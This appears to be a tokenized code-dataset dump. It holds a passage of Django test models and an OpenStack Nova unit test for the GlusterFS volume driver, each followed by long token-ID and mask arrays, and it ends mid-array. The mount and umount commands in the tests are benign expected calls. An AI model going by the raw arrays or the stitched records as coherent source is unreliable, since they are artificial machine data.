primary_key=True) age = models.PositiveIntegerField() def __str__(self): return "%s is %d" % (self.owner.name, self.age) @python_2_unicode_compatible class Restaurant(Place): serves_pizza = models.BooleanField(default=False) def __str__(self): return self.name @python_2_unicode_compatible class Product(models.Model): slug = models.SlugField(unique=True) def __str__(self): return self.slug @python_2_unicode_compatible class Price(models.Model): price = models.DecimalField(max_digits=10, decimal_places=2) quantity = models.PositiveIntegerField() def __str__(self): return "%s for %s" % (self.quantity, self.price) class Meta: unique_together = (('price', 'quantity'),) class MexicanRestaurant(Restaurant): serves_tacos = models.BooleanField(default=False) class ClassyMexicanRestaurant(MexicanRestaurant): restaurant = models.OneToOneField(MexicanRestaurant, models.CASCADE, parent_link=True, primary_key=True) tacos_are_yummy = models.BooleanField(default=False) # models for testing unique_together validation when a fk is involved and # using inlineformset_factory. @python_2_unicode_compatible class Repository(models.Model): name = models.CharField(max_length=25) def __str__(self): return self.name @python_2_unicode_compatible class Revision(models.Model): repository = models.ForeignKey(Repository, models.CASCADE) revision = models.CharField(max_length=40) class Meta: unique_together = (("repository", "revision"),) def __str__(self): return "%s (%s)" % (self.revision, six.text_type(self.repository)) # models for testing callable defaults (see bug #7975). If you define a model # with a callable default value, you cannot rely on the initial value in a # form. class Person(models.Model): name = models.CharField(max_length=128) class Membership(models.Model): person = models.ForeignKey(Person, models.CASCADE) date_joined = models.DateTimeField(default=datetime.datetime.now) karma = models.IntegerField() # models for testing a null=True fk to a parent class Team(models.Model): name = models.CharField(max_length=100) @python_2_unicode_compatible class Player(models.Model): team = models.ForeignKey(Team, models.SET_NULL, null=True) name = models.CharField(max_length=100) def __str__(self): return self.name # Models for testing custom ModelForm save methods in formsets and inline formsets @python_2_unicode_compatible class Poet(models.Model): name = models.CharField(max_length=100) def __str__(self): return self.name @python_2_unicode_compatible class Poem(models.Model): poet = models.ForeignKey(Poet, models.CASCADE) name = models.CharField(max_length=100) def __str__(self): return self.name @python_2_unicode_compatible class Post(models.Model): title = models.CharField(max_length=50, unique_for_date='posted', blank=True) slug = models.CharField(max_length=50, unique_for_year='posted', blank=True) subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True) posted = models.DateField() def __str__(self): return self.name # Models for testing UUID primary keys class UUIDPKParent(models.Model): uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=255) class UUIDPKChild(models.Model): uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=255) parent = models.ForeignKey(UUIDPKParent, models.CASCADE) class ChildWithEditablePK(models.Model): name = models.CharField(max_length=255, primary_key=True) parent = models.ForeignKey(UUIDPKParent, models.CASCADE) class AutoPKChildOfUUIDPKParent(models.Model): name = models.CharField(max_length=255) parent = models.ForeignKey(UUIDPKParent, models.CASCADE) class AutoPKParent(models.Model): name = models.CharField(max_length=255) class UUIDPKChildOfAutoPKParent(models.Model): uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=255) parent = models.ForeignKey(AutoPKParent, models.CASCADE) class ParentWithUUIDAlternateKey(models.Model): uuid = models.UUIDField(unique=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=50) class ChildRelatedViaAK(models.Model): name = models.CharField(max_length=255) parent = models.ForeignKey(ParentWithUUIDAlternateKey, models.CASCADE, to_field='uuid')
bsd-3-clause
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 646, 5377, 199, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 2366, 63, 18, 63, 2975, 63, 6490, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 31535, 351, 5949, 8, 5949, 304, 272, 2218, 63, 7625, 275, 1709, 14, 3901, 342, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 659, 267, 776, 267, 7794, 275, 788, 344, 418, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7223, 8884, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 21, 12, 6107, 63, 10696, 29, 16, 12, 5062, 63, 498, 29, 549, 9, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 26, 450, 83, 7, 450, 334, 277, 14, 1662, 63, 2051, 12, 291, 14, 1213, 9, 421, 199, 533, 30318, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7012, 16985, 10423, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 327, 4879, 13851, 4132, 272, 8791, 63, 7515, 275, 1709, 14, 3190, 8, 10423, 12, 1709, 14, 3597, 63, 8084, 12, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 297, 283, 4478, 63, 7515, 659, 267, 776, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 17669, 323, 8696, 8, 8696, 304, 272, 12681, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 446, 450, 83, 7, 450, 334, 277, 14, 1213, 12, 291, 14, 5983, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 1352, 13800, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 11462, 275, 1709, 14, 7624, 8, 5949, 9, 272, 2737, 275, 1709, 14, 14071, 8, 10820, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 8388, 29457, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 5062, 63, 498, 29, 549, 9, 272, 2005, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 3, 1709, 367, 15433, 2295, 14, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 10902, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 272, 14492, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 8, 992, 14, 1685, 304, 272, 2599, 63, 344, 275, 1709, 14, 4378, 8, 3327, 63, 498, 29, 549, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 737, 450, 83, 2, 450, 334, 277, 14, 354, 12, 291, 14, 2778, 9, 421, 199, 533, 12625, 8, 992, 14, 1685, 304, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 12, 3747, 29, 549, 9, 272, 327, 642, 365, 15111, 590, 367, 5343, 314, 666, 3181, 1133, 17247, 2348, 32428, 272, 8396, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 6132, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 5736, 8, 992, 14, 1685, 304, 272, 5771, 275, 1709, 14, 14298, 8, 14919, 12, 1709, 14, 10855, 12, 5062, 63, 498, 29, 549, 9, 272, 11437, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 365, 450, 68, 2, 450, 334, 277, 14, 4597, 14, 354, 12, 291, 14, 474, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 799, 14436, 8, 11613, 304, 272, 23739, 63, 80, 30937, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 12705, 8, 992, 14, 1685, 304, 272, 8889, 275, 1709, 14, 17315, 8, 3235, 29, 549, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 5464, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 20276, 8, 992, 14, 1685, 304, 272, 8033, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 709, 12, 6107, 63, 10696, 29, 18, 9, 272, 12524, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 646, 5377, 199, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 2366, 63, 18, 63, 2975, 63, 6490, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 31535, 351, 5949, 8, 5949, 304, 272, 2218, 63, 7625, 275, 1709, 14, 3901, 342, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 659, 267, 776, 267, 7794, 275, 788, 344, 418, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7223, 8884, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 21, 12, 6107, 63, 10696, 29, 16, 12, 5062, 63, 498, 29, 549, 9, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 26, 450, 83, 7, 450, 334, 277, 14, 1662, 63, 2051, 12, 291, 14, 1213, 9, 421, 199, 533, 30318, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7012, 16985, 10423, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 327, 4879, 13851, 4132, 272, 8791, 63, 7515, 275, 1709, 14, 3190, 8, 10423, 12, 1709, 14, 3597, 63, 8084, 12, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 297, 283, 4478, 63, 7515, 659, 267, 776, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 17669, 323, 8696, 8, 8696, 304, 272, 12681, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 446, 450, 83, 7, 450, 334, 277, 14, 1213, 12, 291, 14, 5983, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 1352, 13800, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 11462, 275, 1709, 14, 7624, 8, 5949, 9, 272, 2737, 275, 1709, 14, 14071, 8, 10820, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 8388, 29457, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 5062, 63, 498, 29, 549, 9, 272, 2005, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 3, 1709, 367, 15433, 2295, 14, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 10902, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 272, 14492, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 8, 992, 14, 1685, 304, 272, 2599, 63, 344, 275, 1709, 14, 4378, 8, 3327, 63, 498, 29, 549, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 737, 450, 83, 2, 450, 334, 277, 14, 354, 12, 291, 14, 2778, 9, 421, 199, 533, 12625, 8, 992, 14, 1685, 304, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 12, 3747, 29, 549, 9, 272, 327, 642, 365, 15111, 590, 367, 5343, 314, 666, 3181, 1133, 17247, 2348, 32428, 272, 8396, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 6132, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 5736, 8, 992, 14, 1685, 304, 272, 5771, 275, 1709, 14, 14298, 8, 14919, 12, 1709, 14, 10855, 12, 5062, 63, 498, 29, 549, 9, 272, 11437, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 365, 450, 68, 2, 450, 334, 277, 14, 4597, 14, 354, 12, 291, 14, 474, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 799, 14436, 8, 11613, 304, 272, 23739, 63, 80, 30937, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 12705, 8, 992, 14, 1685, 304, 272, 8889, 275, 1709, 14, 17315, 8, 3235, 29, 549, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 5464, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 20276, 8, 992, 14, 1685, 304, 272, 8033, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 709, 12, 6107, 63, 10696, 29, 18, 9, 272, 12524, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dims/nova
nova/tests/unit/virt/libvirt/volume/test_glusterfs.py
27
7543
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import os import mock from oslo_concurrency import processutils from nova.tests.unit.virt.libvirt.volume import test_volume from nova import utils from nova.virt.libvirt import utils as libvirt_utils from nova.virt.libvirt.volume import glusterfs class LibvirtGlusterfsVolumeDriverTestCase( test_volume.LibvirtVolumeBaseTestCase): def test_libvirt_glusterfs_driver(self): mnt_base = '/mnt' self.flags(glusterfs_mount_point_base=mnt_base, group='libvirt') libvirt_driver = glusterfs.LibvirtGlusterfsVolumeDriver(self.fake_conn) self.stubs.Set(libvirt_utils, 'is_mounted', lambda x, d: False) export_string = '192.168.1.1:/volume-00001' export_mnt_base = os.path.join(mnt_base, utils.get_hash_str(export_string)) connection_info = {'data': {'export': export_string, 'name': self.name}} libvirt_driver.connect_volume(connection_info, self.disk_info) libvirt_driver.disconnect_volume(connection_info, "vde") device_path = os.path.join(export_mnt_base, connection_info['data']['name']) self.assertEqual(connection_info['data']['device_path'], device_path) expected_commands = [ ('mkdir', '-p', export_mnt_base), ('mount', '-t', 'glusterfs', export_string, export_mnt_base), ('umount', export_mnt_base)] self.assertEqual(expected_commands, self.executes) def test_libvirt_glusterfs_driver_get_config(self): mnt_base = '/mnt' self.flags(glusterfs_mount_point_base=mnt_base, group='libvirt') libvirt_driver = glusterfs.LibvirtGlusterfsVolumeDriver(self.fake_conn) export_string = '192.168.1.1:/volume-00001' export_mnt_base = os.path.join(mnt_base, utils.get_hash_str(export_string)) file_path = os.path.join(export_mnt_base, self.name) # Test default format - raw connection_info = {'data': {'export': export_string, 'name': self.name, 'device_path': file_path}} conf = libvirt_driver.get_config(connection_info, self.disk_info) tree = conf.format_dom() self._assertFileTypeEquals(tree, file_path) self.assertEqual('raw', tree.find('./driver').get('type')) # Test specified format - qcow2 connection_info = {'data': {'export': export_string, 'name': self.name, 'device_path': file_path, 'format': 'qcow2'}} conf = libvirt_driver.get_config(connection_info, self.disk_info) tree = conf.format_dom() self._assertFileTypeEquals(tree, file_path) self.assertEqual('qcow2', tree.find('./driver').get('type')) def test_libvirt_glusterfs_driver_already_mounted(self): mnt_base = '/mnt' self.flags(glusterfs_mount_point_base=mnt_base, group='libvirt') libvirt_driver = glusterfs.LibvirtGlusterfsVolumeDriver(self.fake_conn) export_string = '192.168.1.1:/volume-00001' export_mnt_base = os.path.join(mnt_base, utils.get_hash_str(export_string)) connection_info = {'data': {'export': export_string, 'name': self.name}} libvirt_driver.connect_volume(connection_info, self.disk_info) libvirt_driver.disconnect_volume(connection_info, "vde") expected_commands = [ ('findmnt', '--target', export_mnt_base, '--source', export_string), ('umount', export_mnt_base)] self.assertEqual(expected_commands, self.executes) @mock.patch.object(glusterfs.utils, 'execute') @mock.patch.object(glusterfs.LOG, 'debug') @mock.patch.object(glusterfs.LOG, 'exception') def test_libvirt_glusterfs_driver_umount_error(self, mock_LOG_exception, mock_LOG_debug, mock_utils_exe): export_string = '192.168.1.1:/volume-00001' connection_info = {'data': {'export': export_string, 'name': self.name}} libvirt_driver = glusterfs.LibvirtGlusterfsVolumeDriver(self.fake_conn) mock_utils_exe.side_effect = processutils.ProcessExecutionError( None, None, None, 'umount', 'umount: target is busy.') libvirt_driver.disconnect_volume(connection_info, "vde") self.assertTrue(mock_LOG_debug.called) def test_libvirt_glusterfs_driver_with_opts(self): mnt_base = '/mnt' self.flags(glusterfs_mount_point_base=mnt_base, group='libvirt') libvirt_driver = glusterfs.LibvirtGlusterfsVolumeDriver(self.fake_conn) self.stubs.Set(libvirt_utils, 'is_mounted', lambda x, d: False) export_string = '192.168.1.1:/volume-00001' options = '-o backupvolfile-server=192.168.1.2' export_mnt_base = os.path.join(mnt_base, utils.get_hash_str(export_string)) connection_info = {'data': {'export': export_string, 'name': self.name, 'options': options}} libvirt_driver.connect_volume(connection_info, self.disk_info) libvirt_driver.disconnect_volume(connection_info, "vde") expected_commands = [ ('mkdir', '-p', export_mnt_base), ('mount', '-t', 'glusterfs', '-o', 'backupvolfile-server=192.168.1.2', export_string, export_mnt_base), ('umount', export_mnt_base), ] self.assertEqual(expected_commands, self.executes) def test_libvirt_glusterfs_libgfapi(self): self.flags(qemu_allowed_storage_drivers=['gluster'], group='libvirt') libvirt_driver = glusterfs.LibvirtGlusterfsVolumeDriver(self.fake_conn) self.stubs.Set(libvirt_utils, 'is_mounted', lambda x, d: False) export_string = '192.168.1.1:/volume-00001' name = 'volume-00001' connection_info = {'data': {'export': export_string, 'name': name}} disk_info = { "dev": "vde", "type": "disk", "bus": "virtio", } libvirt_driver.connect_volume(connection_info, disk_info) conf = libvirt_driver.get_config(connection_info, disk_info) tree = conf.format_dom() self.assertEqual('network', tree.get('type')) self.assertEqual('raw', tree.find('./driver').get('type')) source = tree.find('./source') self.assertEqual('gluster', source.get('protocol')) self.assertEqual('volume-00001/volume-00001', source.get('name')) self.assertEqual('192.168.1.1', source.find('./host').get('name')) self.assertEqual('24007', source.find('./host').get('port')) libvirt_driver.disconnect_volume(connection_info, "vde")
apache-2.0
[ 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 747, 199, 199, 646, 1683, 199, 504, 11258, 63, 27518, 492, 2112, 1208, 199, 199, 504, 5913, 14, 2219, 14, 3248, 14, 4549, 14, 11877, 14, 2405, 492, 511, 63, 2405, 199, 504, 5913, 492, 3778, 199, 504, 5913, 14, 4549, 14, 11877, 492, 3778, 465, 13108, 63, 1208, 199, 504, 5913, 14, 4549, 14, 11877, 14, 2405, 492, 6482, 2413, 2319, 421, 199, 533, 8003, 4549, 17541, 2413, 2319, 6464, 6158, 1746, 8, 267, 511, 63, 2405, 14, 14407, 6464, 20760, 304, 339, 347, 511, 63, 11877, 63, 3528, 2413, 2319, 63, 3090, 8, 277, 304, 267, 333, 343, 63, 1095, 275, 1994, 20481, 7, 267, 291, 14, 2469, 8, 3528, 2413, 2319, 63, 3956, 63, 1403, 63, 1095, 29, 20481, 63, 1095, 12, 1572, 534, 11877, 358, 398, 13108, 63, 3090, 275, 6482, 2413, 2319, 14, 14407, 17541, 2413, 2319, 6464, 6158, 8, 277, 14, 3183, 63, 1631, 9, 267, 291, 14, 8957, 14, 1084, 8, 11877, 63, 1208, 12, 283, 374, 63, 27919, 297, 2400, 671, 12, 366, 26, 756, 9, 267, 4843, 63, 875, 275, 283, 5756, 14, 6568, 14, 17, 14, 17, 11254, 2405, 13, 22417, 7, 267, 4843, 63, 20481, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 20481, 63, 1095, 12, 355, 3778, 14, 362, 63, 2227, 63, 495, 8, 3790, 63, 875, 430, 398, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354, 356, 291, 14, 354, 4863, 267, 13108, 63, 3090, 14, 2242, 63, 2405, 8, 2105, 63, 815, 12, 291, 14, 4032, 63, 815, 9, 267, 13108, 63, 3090, 14, 10673, 63, 2405, 8, 2105, 63, 815, 12, 298, 86, 271, 531, 398, 2243, 63, 515, 275, 747, 14, 515, 14, 904, 8, 3790, 63, 20481, 63, 1095, 12, 3521, 1950, 63, 815, 459, 576, 2545, 354, 1105, 267, 291, 14, 629, 8, 2105, 63, 815, 459, 576, 2545, 1782, 63, 515, 995, 2243, 63, 515, 9, 267, 1420, 63, 4405, 275, 359, 288, 661, 8215, 297, 2475, 80, 297, 4843, 63, 20481, 63, 1095, 395, 288, 661, 3956, 297, 2475, 84, 297, 283, 3528, 2413, 2319, 297, 4843, 63, 875, 12, 4843, 63, 20481, 63, 1095, 395, 288, 661, 453, 79, 638, 297, 4843, 63, 20481, 63, 1095, 1874, 267, 291, 14, 629, 8, 2062, 63, 4405, 12, 291, 14, 1628, 3862, 9, 339, 347, 511, 63, 11877, 63, 3528, 2413, 2319, 63, 3090, 63, 362, 63, 888, 8, 277, 304, 267, 333, 343, 63, 1095, 275, 1994, 20481, 7, 267, 291, 14, 2469, 8, 3528, 2413, 2319, 63, 3956, 63, 1403, 63, 1095, 29, 20481, 63, 1095, 12, 1572, 534, 11877, 358, 398, 13108, 63, 3090, 275, 6482, 2413, 2319, 14, 14407, 17541, 2413, 2319, 6464, 6158, 8, 277, 14, 3183, 63, 1631, 9, 267, 4843, 63, 875, 275, 283, 5756, 14, 6568, 14, 17, 14, 17, 11254, 2405, 13, 22417, 7, 267, 4843, 63, 20481, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 20481, 63, 1095, 12, 4318, 3778, 14, 362, 63, 2227, 63, 495, 8, 3790, 63, 875, 430, 267, 570, 63, 515, 275, 747, 14, 515, 14, 904, 8, 3790, 63, 20481, 63, 1095, 12, 291, 14, 354, 9, 398, 327, 1379, 849, 1475, 446, 3066, 267, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354, 356, 291, 14, 354, 12, 2511, 283, 1782, 63, 515, 356, 570, 63, 515, 4863, 267, 3743, 275, 13108, 63, 3090, 14, 362, 63, 888, 8, 2105, 63, 815, 12, 291, 14, 4032, 63, 815, 9, 267, 3123, 275, 3743, 14, 908, 63, 4556, 342, 267, 291, 423, 479, 20683, 13317, 8, 2350, 12, 570, 63, 515, 9, 267, 291, 14, 629, 360, 1773, 297, 3123, 14, 1623, 17371, 3090, 1959, 362, 360, 466, 1333, 398, 327, 1379, 2013, 1475, 446, 1894, 19969, 18, 267, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354, 356, 291, 14, 354, 12, 2511, 283, 1782, 63, 515, 356, 570, 63, 515, 12, 2511, 283, 908, 356, 283, 81, 19969, 18, 18620, 267, 3743, 275, 13108, 63, 3090, 14, 362, 63, 888, 8, 